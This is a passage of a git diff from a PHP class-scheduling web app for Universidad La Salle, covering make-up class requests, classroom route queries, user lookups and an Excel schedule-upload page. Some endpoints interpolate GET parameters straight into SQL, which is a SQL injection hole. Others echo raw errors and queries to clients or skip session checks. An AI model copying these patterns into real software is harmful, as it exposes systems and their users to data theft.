$rs = $db->querySingle('SELECT * from fs_reposicion_solicitud(:id, :fac, NULL, NULL, NULL, NULL, NULL, NULL, null)',
|
||||||
|
[':id' => $id, ":fac"=>$user->facultad["facultad_id"] ]
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
}catch(Exception $e){
|
||||||
|
$return["error"] = "Ocurrió un error al leer los datos de la reposición.";
|
||||||
|
echo json_encode($return);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
$return["fecha_clase"] = date('d/m/Y', strtotime($rs["fecha_clase"]));
|
||||||
|
$return["fecha_nueva"] = date('d/m/Y', strtotime($rs["fecha_nueva"]));
|
||||||
|
$hora_nueva = explode(":",$rs["hora_nueva"]);
|
||||||
|
$return["hora_ini"] = $hora_nueva[0];
|
||||||
|
$return["min_ini"] = $hora_nueva[1];
|
||||||
|
$hora_nueva_fin = explode(":",$rs["hora_nueva_fin"]);
|
||||||
|
$return["hora_fin"] = $hora_nueva_fin[0];
|
||||||
|
$return["min_fin"] = $hora_nueva_fin[1];
|
||||||
|
$return["duracion"] = $rs["duracion_interval"];
|
||||||
|
|
||||||
|
// $return["carrera"] = $rs["PlanEstudio_desc"];
|
||||||
|
$return["horario"] = $rs["horario_id"];
|
||||||
|
$return["materia"] = $rs["materia_id"];
|
||||||
|
$return["materia_desc"] = $rs["materia_nombre"];
|
||||||
|
$return["salon"] = $rs["salon_id"];
|
||||||
|
if($rs["salon_id"]==""){
|
||||||
|
$return["salon_desc"] = "Pendiente";
|
||||||
|
}else{
|
||||||
|
$salon_json = json_decode($rs["salon_array"], true);
|
||||||
|
if($salon_json[0]== "UNIVERSIDAD LA SALLE"){
|
||||||
|
unset($salon_json[0]);
|
||||||
|
}
|
||||||
|
$return["salon_desc"] = join(" / ",$salon_json);
|
||||||
|
}
|
||||||
|
|
||||||
|
//$return["salon_desc"] = $rs["salon"]=="" ? "-Pendiente-": $rs["salon"];
|
||||||
|
$return["ciclo"] = $rs["ciclo"];
|
||||||
|
$return["bloque"] = $rs["bloque"];
|
||||||
|
$return["profesor"] = $rs["profesor_id"];
|
||||||
|
$return["profesor_nombre"] = $rs["profesor_nombre"];
|
||||||
|
$return["comentario"] = $rs["descripcion"];
|
||||||
|
$return["alumnos"] = $rs["alumnos"];
|
||||||
|
$return["tipo"] = $rs["es_reposicion"];
|
||||||
|
$return["aula"] = $rs["tipoaula_id"];
|
||||||
|
$return["aula_desc"] = $rs["tipoaula_nombre"];
|
||||||
|
$return["aula_supervisor"] = $rs["tipoaula_supervisor"];
|
||||||
|
$return["dia"] = date('w', strtotime($rs["fecha_clase"]));
|
||||||
|
$return["motivo_cancelacion"] = $rs["motivo_cancelacion"];
|
||||||
|
$return["estado"] = $rs["estado_reposicion_id"];
|
||||||
|
$return["facultad"] = $rs["facultad_nombre"];
|
||||||
|
$return["carrera"] = $rs["carrera_nombre"];
|
||||||
|
$return["grupo"] = $rs["horario_grupo"];
|
||||||
|
}
|
||||||
|
echo json_encode($return);
|
||||||
|
?>
|
||||||
124
action/reposicion_update.php
Normal file
124
action/reposicion_update.php
Normal file
@@ -0,0 +1,124 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Actualiza reposición
|
||||||
|
*/
|
||||||
|
$pag = "../reposiciones_crear.php";
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
|
||||||
|
// check if the session is started
|
||||||
|
if (!isset($_SESSION['user']))
|
||||||
|
die('No se ha iniciado sesión');
|
||||||
|
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
|
||||||
|
|
||||||
|
/*if(!isset($_POST["id"]) || !isset($_POST["fecha_falta"]) || !isset($_POST["fecha_inicial"]) || !isset($_POST["hora_ini"]) || !isset($_POST["min_ini"]) || !isset($_POST["materia"]) || !isset($_POST["grupo"])){
|
||||||
|
header("Location: ".$pag."?error=0");
|
||||||
|
exit();
|
||||||
|
}*/
|
||||||
|
|
||||||
|
$id = filter_input(INPUT_POST, "id", FILTER_SANITIZE_NUMBER_INT);//limpia texto
|
||||||
|
$duracion_id = filter_input(INPUT_POST, "duracion", FILTER_SANITIZE_NUMBER_INT);//Id reposicion
|
||||||
|
$bloque = filter_input(INPUT_POST, "bloque", FILTER_SANITIZE_NUMBER_INT);//
|
||||||
|
$ciclo = filter_input(INPUT_POST, "ciclo", FILTER_SANITIZE_NUMBER_INT);//
|
||||||
|
$fecha_falta = trim(htmlspecialchars($_POST["fecha_falta"], ENT_QUOTES, "UTF-8"));//limpia texto
|
||||||
|
$fecha = trim(htmlspecialchars($_POST["fecha_inicial"], ENT_QUOTES, "UTF-8"));//limpia texto
|
||||||
|
$fecha_cambio = trim(htmlspecialchars($_POST["fecha_cambio"], ENT_QUOTES, "UTF-8"));//limpia texto
|
||||||
|
$hora_ini = filter_input(INPUT_POST, "hora_ini", FILTER_SANITIZE_NUMBER_INT);//limpia texto
|
||||||
|
$min_ini = filter_input(INPUT_POST, "min_ini", FILTER_SANITIZE_NUMBER_INT);//limpia texto
|
||||||
|
$hor = filter_input(INPUT_POST, "horario", FILTER_SANITIZE_NUMBER_INT);//limpia texto
|
||||||
|
$alumnos = filter_input(INPUT_POST, "alumnos", FILTER_SANITIZE_NUMBER_INT);//limpia texto
|
||||||
|
$tipo = filter_input(INPUT_POST, "tipo", FILTER_SANITIZE_NUMBER_INT);//1 Repo , 0 Cambio
|
||||||
|
$aula = filter_input(INPUT_POST, "aula", FILTER_SANITIZE_NUMBER_INT);//1 regular , 2 sala computo, 3 otro facultad
|
||||||
|
|
||||||
|
if(empty($_POST["prof"]))
|
||||||
|
$prof = $user["id"];
|
||||||
|
else
|
||||||
|
$prof = filter_input(INPUT_POST, "prof", FILTER_SANITIZE_NUMBER_INT);//limpia texto
|
||||||
|
|
||||||
|
//if(isset($_POST["salon"]) && $_POST["salon"] != "")
|
||||||
|
//$salon = trim(filter_input(INPUT_POST, "salon", FILTER_SANITIZE_STRING,array('flags' => FILTER_FLAG_STRIP_LOW)));//limpia texto
|
||||||
|
$comentario = trim(htmlspecialchars($_POST["comentario"], ENT_QUOTES, "UTF-8"));//limpia texto
|
||||||
|
|
||||||
|
$duracion_rs = $db->querySingle("select * from duracion where duracion_id = :id", [":id"=>$duracion_id]);
|
||||||
|
$duracion_tiempo = $duracion_rs["duracion_interval"];
|
||||||
|
|
||||||
|
$horario_rs = $db->querySingle('SELECT * from horario_view where horario_id = :hor',
|
||||||
|
[':hor' => $hor]
|
||||||
|
);
|
||||||
|
|
||||||
|
$materia = $horario_rs["materia_id"];
|
||||||
|
$dia = $horario_rs["horario_dia"];
|
||||||
|
|
||||||
|
|
||||||
|
$hora = $hora_ini.":".$min_ini.":00";
|
||||||
|
$fecha_new = DateTime::createFromFormat('d/m/Y', $fecha)->format('Y-m-d')." ".$hora;
|
||||||
|
$fecha_fin_new = date("Y-m-d", strtotime($fecha_new))." ".$duracion_tiempo;
|
||||||
|
$dia_new = date('w', strtotime($fecha_new));
|
||||||
|
|
||||||
|
//echo $fecha_new."<br>";
|
||||||
|
//echo $fecha_fin_new."<br>";
|
||||||
|
if($tipo == 1){//Reposición
|
||||||
|
$fecha_falta = DateTime::createFromFormat('d/m/Y', $fecha_falta)->format('Y-m-d');
|
||||||
|
$dia_falta = date('w', strtotime($fecha_falta));
|
||||||
|
}else{
|
||||||
|
$fecha_cambio = DateTime::createFromFormat('d/m/Y', $fecha_cambio)->format('Y-m-d');
|
||||||
|
$dia_falta = date('w', strtotime($fecha_cambio));
|
||||||
|
}
|
||||||
|
|
||||||
|
//Valida que tenga clase en la fecha de falta
|
||||||
|
if(intval($dia) != intval($dia_falta)){
|
||||||
|
//header("Location:".$pag."?error=11");
|
||||||
|
echo intval($dia)." != ".intval($dia_falta);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
if($tipo == 1){//Reposición
|
||||||
|
// Valida que grupo no tenga clases
|
||||||
|
/*$result = validaConflictoHoras($pdo, $gpo, $dia, $hora, $materia, "-", $fecha_ini, $fecha_fin, $duracion);
|
||||||
|
if($result != ""){//error
|
||||||
|
//echo $result;
|
||||||
|
header("Location:".$pag."?error=7");
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
//Valida que profesor no este en 2 reposiciones al mismo tiempo
|
||||||
|
*/
|
||||||
|
$traslape = $db->querySingle('SELECT * from traslape_profesor_reposicion(:prof, :fecha, :hora, :dur)',
|
||||||
|
[':prof' => $prof, ':fecha'=>DateTime::createFromFormat('d/m/Y', $fecha)->format('Y-m-d'), ':hora'=>$hora, ':dur'=>$duracion_tiempo]
|
||||||
|
)["traslape_profesor_reposicion"];
|
||||||
|
if($traslape){
|
||||||
|
//header("Location:".$pag."?error=9");
|
||||||
|
echo "traslape";
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
$log = new LogActividad();
|
||||||
|
$desc_log = "Actualiza reposición ID[".$id."] Fechas[".$fecha_ini."][".$fecha_fin."] Periodo[".$_SESSION["periodo_id"]."] Materia[".$materia."] Profesor[".$prof."] Salon[".$salon."] Horario[".$hor."]";
|
||||||
|
$log->appendLog($_SESSION["usuario_id"], $_SESSION["usuario_nombre"]." ".$_SESSION["usuario_apellidos"], $desc_log);*/
|
||||||
|
}
|
||||||
|
|
||||||
|
try{
|
||||||
|
$db->query('SELECT * from fu_reposicion_solicitud(:id, :f_falta, :f_nueva, :hora_nueva, NULL, 1, :desc, :alumnos, :aula, :duracion, NULL)',
|
||||||
|
[':id'=> $id, ':f_falta' => $fecha_falta, ':f_nueva' => $fecha_new, ':hora_nueva' => $hora,
|
||||||
|
':desc' => $comentario, ':alumnos' => $alumnos, ':aula' => $aula, ':duracion' => $duracion_tiempo
|
||||||
|
]
|
||||||
|
);
|
||||||
|
}catch(Exception $e){
|
||||||
|
//header("Location: ".$pag."?error=2");
|
||||||
|
print_r($e->getMessage());
|
||||||
|
echo "SELECT * from fu_reposicion_solicitud(:id, :f_falta, :f_nueva, :hora_nueva, NULL, 1, :desc, :alumnos, :aula, :duracion, NULL)'";
|
||||||
|
print_r(
|
||||||
|
[':id'=> $id, ':f_falta' => $fecha_falta, ':f_nueva' => $fecha_new, ':hora_nueva' => $hora,
|
||||||
|
':desc' => $comentario, ':alumnos' => $alumnos, ':aula' => $aula, ':duracion' => $duracion_tiempo
|
||||||
|
]);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
header("Location: ".$pag);
|
||||||
|
exit();
|
||||||
|
?>
|
||||||
28
action/rutas.php
Normal file
28
action/rutas.php
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
<?
|
||||||
|
header('Content-Type: application/json charset=utf-8');
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
|
||||||
|
$universidad_la_salle = $db
|
||||||
|
->where('salon', 'UNIVERSIDAD LA SALLE', 'ILIKE')
|
||||||
|
->getOne('salon_view_mat');
|
||||||
|
|
||||||
|
$rutas =
|
||||||
|
array_map(
|
||||||
|
function ($ruta) use ($db) {
|
||||||
|
$ruta['subrutas'] =
|
||||||
|
$db
|
||||||
|
->where('id_espacio_padre', $ruta['id_espacio_sgu'])
|
||||||
|
->orderBy('salon')
|
||||||
|
->get('salon_view_mat');
|
||||||
|
return $ruta;
|
||||||
|
|
||||||
|
},
|
||||||
|
$db
|
||||||
|
->where('id_espacio_padre', $universidad_la_salle['id_espacio_sgu'])
|
||||||
|
->orderBy('salon')
|
||||||
|
->get('salon_view_mat')
|
||||||
|
);
|
||||||
|
|
||||||
|
// echo json_encode($universidad_la_salle, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); EXIT;
|
||||||
|
echo json_encode($rutas, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
|
||||||
201
action/rutas_salón_horario.php
Normal file
201
action/rutas_salón_horario.php
Normal file
@@ -0,0 +1,201 @@
|
|||||||
|
<?
|
||||||
|
ini_set('display_errors', 1);
|
||||||
|
ini_set('display_startup_errors', 1);
|
||||||
|
error_reporting(E_ALL);
|
||||||
|
|
||||||
|
#input $_GET['id_espacio_sgu']
|
||||||
|
$information = [
|
||||||
|
'GET' => [
|
||||||
|
'id_espacio_sgu',
|
||||||
|
'bloque_horario_id',
|
||||||
|
],
|
||||||
|
];
|
||||||
|
|
||||||
|
#output rutas: [ ...ruta, salones: [{...salon}] ]
|
||||||
|
header('Content-Type: application/json charset=utf-8');
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
// check method
|
||||||
|
try {
|
||||||
|
global $db;
|
||||||
|
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
|
||||||
|
// check parameters
|
||||||
|
array_walk($information['GET'], function ($value) {
|
||||||
|
if (!array_key_exists($value, $_GET)) {
|
||||||
|
http_response_code(400);
|
||||||
|
echo json_encode(['error' => "$value is required"]);
|
||||||
|
exit;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// step 1: get subrutas
|
||||||
|
$data = $db
|
||||||
|
->where('tiene_salones')
|
||||||
|
->where("{$_GET['id_espacio_sgu']} = ANY(id_espacio_sgu_array)")
|
||||||
|
->get('salon_view_mat', columns: 'id_espacio_sgu, salon, salon_id, salon_array');
|
||||||
|
|
||||||
|
$columns = [
|
||||||
|
// horario
|
||||||
|
'horario_view.horario_id',
|
||||||
|
'horario_hora',
|
||||||
|
'horario_grupo',
|
||||||
|
'horario_fin',
|
||||||
|
'materia',
|
||||||
|
'carrera',
|
||||||
|
'nivel',
|
||||||
|
'horario_view.salon',
|
||||||
|
'facultad',
|
||||||
|
// profesor
|
||||||
|
'profesor.profesor_id',
|
||||||
|
'profesor_clave',
|
||||||
|
'profesor_nombre',
|
||||||
|
'profesor_correo',
|
||||||
|
// registro
|
||||||
|
'registro_fecha',
|
||||||
|
'registro_retardo',
|
||||||
|
'registro.reposicion_id',
|
||||||
|
'estado_supervisor_id',
|
||||||
|
'comentario',
|
||||||
|
// reposicion
|
||||||
|
'reposicion_fecha',
|
||||||
|
'reposicion_hora',
|
||||||
|
'reposicion_hora_fin',
|
||||||
|
'salon_reposicion.salon as reposicion_salon',
|
||||||
|
];
|
||||||
|
$fecha = ($_GET['fecha'] != 'null') ? ("'{$_GET['fecha']}'" ?: 'CURRENT_DATE') : 'CURRENT_DATE';
|
||||||
|
|
||||||
|
/*echo json_encode(array_values(
|
||||||
|
$db->query(
|
||||||
|
'SELECT ' . implode(', ', $columns) . <<<SQL
|
||||||
|
, reposicion_hora + horario_view.duracion as reposicion_fin, registro_fecha_ideal
|
||||||
|
FROM horario_view
|
||||||
|
NATURAL JOIN periodo
|
||||||
|
NATURAL JOIN registro
|
||||||
|
NATURAL JOIN reposicion
|
||||||
|
JOIN bloque_horario ON (bloque_horario.hora_inicio, bloque_horario.hora_fin) OVERLAPS (reposicion_hora, reposicion_hora + horario_view.duracion)
|
||||||
|
NATURAL JOIN profesor
|
||||||
|
JOIN salon_view_mat as salon_reposicion ON (salon_reposicion.salon_id = reposicion.salon_id)
|
||||||
|
WHERE
|
||||||
|
$fecha::DATE BETWEEN periodo.periodo_fecha_inicio
|
||||||
|
AND periodo.periodo_fecha_fin
|
||||||
|
AND reposicion_fecha = $fecha::DATE
|
||||||
|
AND bloque_horario.id = :bloque_horario_id
|
||||||
|
AND salon_reposicion.id_espacio_padre = :id_espacio_sgu
|
||||||
|
ORDER BY reposicion_hora
|
||||||
|
SQL,
|
||||||
|
[
|
||||||
|
'bloque_horario_id' => 6,
|
||||||
|
'id_espacio_sgu' => 144,
|
||||||
|
]
|
||||||
|
)
|
||||||
|
), JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
|
||||||
|
exit();*/
|
||||||
|
|
||||||
|
$reposicion_rs = $db->query(
|
||||||
|
'SELECT ' . implode(', ', $columns) . <<<SQL
|
||||||
|
, reposicion_hora + horario_view.duracion as reposicion_fin, registro_fecha_ideal
|
||||||
|
FROM horario_view
|
||||||
|
NATURAL JOIN periodo
|
||||||
|
NATURAL JOIN registro
|
||||||
|
NATURAL JOIN reposicion
|
||||||
|
JOIN bloque_horario ON (bloque_horario.hora_inicio, bloque_horario.hora_fin) OVERLAPS (reposicion_hora, reposicion_hora + horario_view.duracion)
|
||||||
|
NATURAL JOIN profesor
|
||||||
|
JOIN salon_view_mat as salon_reposicion ON (salon_reposicion.salon_id = reposicion.salon_id)
|
||||||
|
WHERE
|
||||||
|
$fecha::DATE BETWEEN periodo.periodo_fecha_inicio
|
||||||
|
AND periodo.periodo_fecha_fin
|
||||||
|
AND reposicion_fecha = $fecha::DATE
|
||||||
|
AND bloque_horario.id = :bloque_horario_id
|
||||||
|
AND salon_reposicion.id_espacio_padre = :id_espacio_sgu
|
||||||
|
ORDER BY reposicion_hora
|
||||||
|
SQL,
|
||||||
|
[
|
||||||
|
'bloque_horario_id' => $_GET['bloque_horario_id'],
|
||||||
|
'id_espacio_sgu' => $_GET['id_espacio_sgu'],
|
||||||
|
]
|
||||||
|
);
|
||||||
|
|
||||||
|
$data = array_map(
|
||||||
|
fn($ruta) => array_merge(
|
||||||
|
[
|
||||||
|
'horarios' => $db->query(
|
||||||
|
"SELECT " . implode(', ', $columns) . <<<SQL
|
||||||
|
FROM horario_view
|
||||||
|
NATURAL JOIN periodo
|
||||||
|
JOIN bloque_horario ON (bloque_horario.hora_inicio, bloque_horario.hora_fin) OVERLAPS (horario_view.horario_hora, horario_view.horario_hora + horario_view.duracion)
|
||||||
|
NATURAL JOIN salon_view_mat
|
||||||
|
NATURAL JOIN horario_profesor
|
||||||
|
NATURAL JOIN profesor
|
||||||
|
LEFT JOIN registro ON (registro.profesor_id, registro.horario_id, registro.registro_fecha_ideal) = (profesor.profesor_id, horario_view.horario_id, $fecha::DATE)
|
||||||
|
NATURAL LEFT JOIN reposicion
|
||||||
|
LEFT JOIN salon AS salon_reposicion ON salon_reposicion.salon_id = reposicion.salon_id
|
||||||
|
WHERE $fecha::DATE BETWEEN periodo.periodo_fecha_inicio AND periodo.periodo_fecha_fin
|
||||||
|
AND horario_dia = EXTRACT(DOW FROM $fecha::DATE)
|
||||||
|
AND bloque_horario.id = :bloque_horario_id
|
||||||
|
AND salon_view_mat.id_espacio_padre = :id_espacio_sgu
|
||||||
|
ORDER BY horario_hora, salon_view_mat.salon;
|
||||||
|
SQL,
|
||||||
|
[
|
||||||
|
'bloque_horario_id' => $_GET['bloque_horario_id'],
|
||||||
|
'id_espacio_sgu' => $ruta['id_espacio_sgu'],
|
||||||
|
]
|
||||||
|
) ,
|
||||||
|
// 'query' => $db->getLastQuery(),
|
||||||
|
'reposiciones' => $reposicion_rs/* $db->query(
|
||||||
|
'SELECT ' . implode(', ', $columns) . <<<SQL
|
||||||
|
, reposicion_hora + horario_view.duracion as reposicion_fin, registro_fecha_ideal
|
||||||
|
FROM horario_view
|
||||||
|
NATURAL JOIN periodo
|
||||||
|
NATURAL JOIN registro
|
||||||
|
NATURAL JOIN reposicion
|
||||||
|
JOIN bloque_horario ON (bloque_horario.hora_inicio, bloque_horario.hora_fin) OVERLAPS (reposicion_hora, reposicion_hora + horario_view.duracion)
|
||||||
|
NATURAL JOIN profesor
|
||||||
|
JOIN salon_view_mat as salon_reposicion ON (salon_reposicion.salon_id = reposicion.salon_id)
|
||||||
|
WHERE
|
||||||
|
$fecha::DATE BETWEEN periodo.periodo_fecha_inicio
|
||||||
|
AND periodo.periodo_fecha_fin
|
||||||
|
AND reposicion_fecha = $fecha::DATE
|
||||||
|
AND bloque_horario.id = :bloque_horario_id
|
||||||
|
AND salon_reposicion.id_espacio_padre = :id_espacio_sgu
|
||||||
|
ORDER BY reposicion_hora
|
||||||
|
SQL,
|
||||||
|
[
|
||||||
|
'bloque_horario_id' => $_GET['bloque_horario_id'],
|
||||||
|
'id_espacio_sgu' => $ruta['id_espacio_sgu'],
|
||||||
|
]
|
||||||
|
)*/ ,
|
||||||
|
],
|
||||||
|
$ruta,
|
||||||
|
),
|
||||||
|
$data
|
||||||
|
);
|
||||||
|
|
||||||
|
$data = array_filter(
|
||||||
|
$data,
|
||||||
|
fn($ruta) => count($ruta['horarios']) > 0 || count($ruta['reposiciones']) > 0
|
||||||
|
);
|
||||||
|
|
||||||
|
echo json_encode(array_values($data), JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
|
||||||
|
} else {
|
||||||
|
http_response_code(405);
|
||||||
|
echo json_encode(['error' => 'method not allowed']);
|
||||||
|
exit;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
} catch (PDOException $th) {
|
||||||
|
http_response_code(500);
|
||||||
|
echo json_encode([
|
||||||
|
'error' => $th->getMessage(),
|
||||||
|
// 'query' => $db->getLastQuery(),
|
||||||
|
], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
|
||||||
|
exit;
|
||||||
|
} catch (Exception $th) {
|
||||||
|
http_response_code(500);
|
||||||
|
echo json_encode([
|
||||||
|
'error' => $th->getMessage(),
|
||||||
|
], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
|
||||||
|
exit;
|
||||||
|
}
|
||||||
24
action/schemas/registro_supervisor.json
Normal file
24
action/schemas/registro_supervisor.json
Normal file
@@ -0,0 +1,24 @@
|
|||||||
|
{
|
||||||
|
"type": "array",
|
||||||
|
"items": {
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"profesor_id": {
|
||||||
|
"type": "integer"
|
||||||
|
},
|
||||||
|
"horario_id": {
|
||||||
|
"type": "integer"
|
||||||
|
},
|
||||||
|
"estado": {
|
||||||
|
"type": ["integer", "null"]
|
||||||
|
},
|
||||||
|
"comentario": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"supervisor_id": {
|
||||||
|
"type": "integer"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"required": ["profesor_id", "horario_id", "comentario", "supervisor_id"]
|
||||||
|
}
|
||||||
|
}
|
||||||
23
action/usuario_find.php
Normal file
23
action/usuario_find.php
Normal file
@@ -0,0 +1,23 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = '../';
|
||||||
|
require_once '../include/bd_pdo.php';
|
||||||
|
global $pdo;
|
||||||
|
|
||||||
|
if ($_POST['nombre'] == "") {
|
||||||
|
$nombre = null;
|
||||||
|
} else {
|
||||||
|
$nombre = $_POST['nombre'];
|
||||||
|
}
|
||||||
|
if ($_POST['clave'] == "") {
|
||||||
|
$clave = null;
|
||||||
|
} else {
|
||||||
|
$clave = $_POST['clave'];
|
||||||
|
}
|
||||||
|
if ($_POST['facultad'] == "") {
|
||||||
|
$facultad = null;
|
||||||
|
} else {
|
||||||
|
$facultad = $_POST['facultad'];
|
||||||
|
}
|
||||||
|
|
||||||
|
echo json_encode($db->query("SELECT * FROM fs_profesores(:nombre, :clave, :facultad) ORDER BY profesor_nombre", [':nombre' => $nombre, ':clave' => $clave, ':facultad' => $facultad]));
|
||||||
|
?>
|
||||||
28
action/usuarios.php
Normal file
28
action/usuarios.php
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
<?php
|
||||||
|
header('Content-Type: application/json');
|
||||||
|
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
|
||||||
|
// check if the session is started
|
||||||
|
if (!isset($_SESSION['user']))
|
||||||
|
die(json_encode(['error' => 'No se ha iniciado sesión']));
|
||||||
|
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
$facultad_id = $user->facultad['facultad_id'];
|
||||||
|
$materias = $db->query(<<<SQL
|
||||||
|
SELECT usuario_id, usuario_nombre, usuario_clave
|
||||||
|
FROM usuario
|
||||||
|
WHERE
|
||||||
|
(facultad_id = :facultad_id OR :facultad_id IS NULL)
|
||||||
|
ORDER BY usuario_nombre ASC
|
||||||
|
SQL,
|
||||||
|
array('facultad_id' => $facultad_id)
|
||||||
|
);
|
||||||
|
|
||||||
|
// $user->print_to_log("Crea carrera", old: $_POST);
|
||||||
|
|
||||||
|
die(json_encode($materias));
|
||||||
283
alta_de_horario.php
Normal file
283
alta_de_horario.php
Normal file
@@ -0,0 +1,283 @@
|
|||||||
|
<?php
|
||||||
|
require_once 'class/c_login.php';
|
||||||
|
$user = Login::get_user();
|
||||||
|
$user->access();
|
||||||
|
if (in_array($user->acceso, ['r', 'n']))
|
||||||
|
die(header('Location: main.php?error=1'));
|
||||||
|
|
||||||
|
$user->print_to_log('Consultar: Alta de horario');
|
||||||
|
?>
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
|
||||||
|
<head>
|
||||||
|
<title>Cargar horario desde Excel | <?= $user->facultad['facultad'] ?? 'General' ?></title>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
|
||||||
|
<?php include_once "import/html_css_files.php"; ?>
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body style="display: block;">
|
||||||
|
<?php
|
||||||
|
include('include/constantes.php');
|
||||||
|
include("import/html_header.php");
|
||||||
|
html_header("Cargar horario desde Excel", "Sistema de gestión de checador");
|
||||||
|
?>
|
||||||
|
<main class="container content marco content-margin" id="local-app">
|
||||||
|
<div class="row mb-3">
|
||||||
|
<div class="col-12 text-right">
|
||||||
|
<button class="btn btn-outline-secondary" data-toggle="modal" data-target="#modalDescargarPlantilla">
|
||||||
|
<span class="ing-descarga ing-fw"></span>
|
||||||
|
Descargar plantilla
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<section id="message"></section>
|
||||||
|
<?php require('import/periodo.php') ?>
|
||||||
|
<form>
|
||||||
|
<div class="form-group">
|
||||||
|
<div class="form-box">
|
||||||
|
<?php
|
||||||
|
$periodo = $db->where('id', $user->periodo_id)->getOne('fs_periodo');
|
||||||
|
$carreras = $db
|
||||||
|
->where('nivel', $periodo['nivel_id'])
|
||||||
|
->where('facultad', $user->facultad['facultad_id'])
|
||||||
|
->orderBy('carrera')
|
||||||
|
->get('fs_carrera');
|
||||||
|
?>
|
||||||
|
<div class="form-group row" id="input-carrera">
|
||||||
|
|
||||||
|
<label for="filter_carrera" class="col-4 col-form-label">Carrera</label>
|
||||||
|
<div class="col-6">
|
||||||
|
<div id="dlcarrera" class="datalist datalist-select mb-1 w-100">
|
||||||
|
<div class="datalist-input">Seleccionar carrera</div>
|
||||||
|
<span class="ing-buscar icono"></span>
|
||||||
|
<ul style="display:none">
|
||||||
|
<?php
|
||||||
|
foreach ($carreras as $carrera) {
|
||||||
|
?>
|
||||||
|
<li data-id="<?= $carrera['id'] ?>">
|
||||||
|
<?= $carrera['carrera'] ?>
|
||||||
|
</li>
|
||||||
|
<?php
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
</ul>
|
||||||
|
<input type="hidden" id="filter_carrera" name="carrera" value="">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="form-group row" id="input-file">
|
||||||
|
<label for="excel" class="col-4 col-form-label">Archivo de horarios</label>
|
||||||
|
<div class="col-8 col-sm-6">
|
||||||
|
<input class="form-control-file" id="excel" name="archivo" accept=".xlsx, .xls" require>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="form-group mt-5 row justify-content-center">
|
||||||
|
<!-- on click reload -->
|
||||||
|
<button id="btn-cancelar" type="button" class="btn btn-danger mx-2" onclick="location.reload()">
|
||||||
|
<span class="ing-cancelar"></span>
|
||||||
|
Cancelar
|
||||||
|
</button>
|
||||||
|
|
||||||
|
<button id="btn-cargar" type="button" class="btn btn-primary" onclick="submit_files()">
|
||||||
|
<span class="ing-guardar"></span>
|
||||||
|
Guardar horario
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</form>
|
||||||
|
</main>
|
||||||
|
|
||||||
|
<div class="modal fade" id="modalDescargarPlantilla" tabindex="-1" aria-labelledby="descargarPlantillaModalLabel" aria-hidden="true">
|
||||||
|
<div class="modal-dialog modal-xl modal-dialog-centered modal-dialog-scrollable">
|
||||||
|
<div class="modal-content">
|
||||||
|
<div class="modal-header">
|
||||||
|
<h5 class="modal-title" id="descargarPlantillaModalLabel">Instrucciones</h5>
|
||||||
|
<button type="button" class="close text-white" data-dismiss="modal" aria-label="Close">
|
||||||
|
<span aria-hidden="true">×</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div class="modal-body">
|
||||||
|
<ol>
|
||||||
|
<li> Los encabezados deberán mantenerse en todo momento, tal cual se encuentran en la plantilla. </li>
|
||||||
|
<li> Las horas válidas son de 7:00 a 22:00 en bloques de 15 minutos. </li>
|
||||||
|
<li> La columna DURACIÓN es la duración de una clase en horas. Si la clase es de 7:15–8:45 se pone que la hora de la clase es de 7:15 con una duración de 180. </li>
|
||||||
|
<!-- <li> Únicamente las columnas de … </li> -->
|
||||||
|
<li> Si se encuentra un error en la revisión del archivo no se guardará ningún registro. </li>
|
||||||
|
<li> Una vez revisado el archivo haz clic en el botón [Guardar horario] para que se guarde la información. </li>
|
||||||
|
|
||||||
|
</ol>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal-footer">
|
||||||
|
<button type="button" class="btn btn-danger" data-dismiss="modal">Aceptar</button>
|
||||||
|
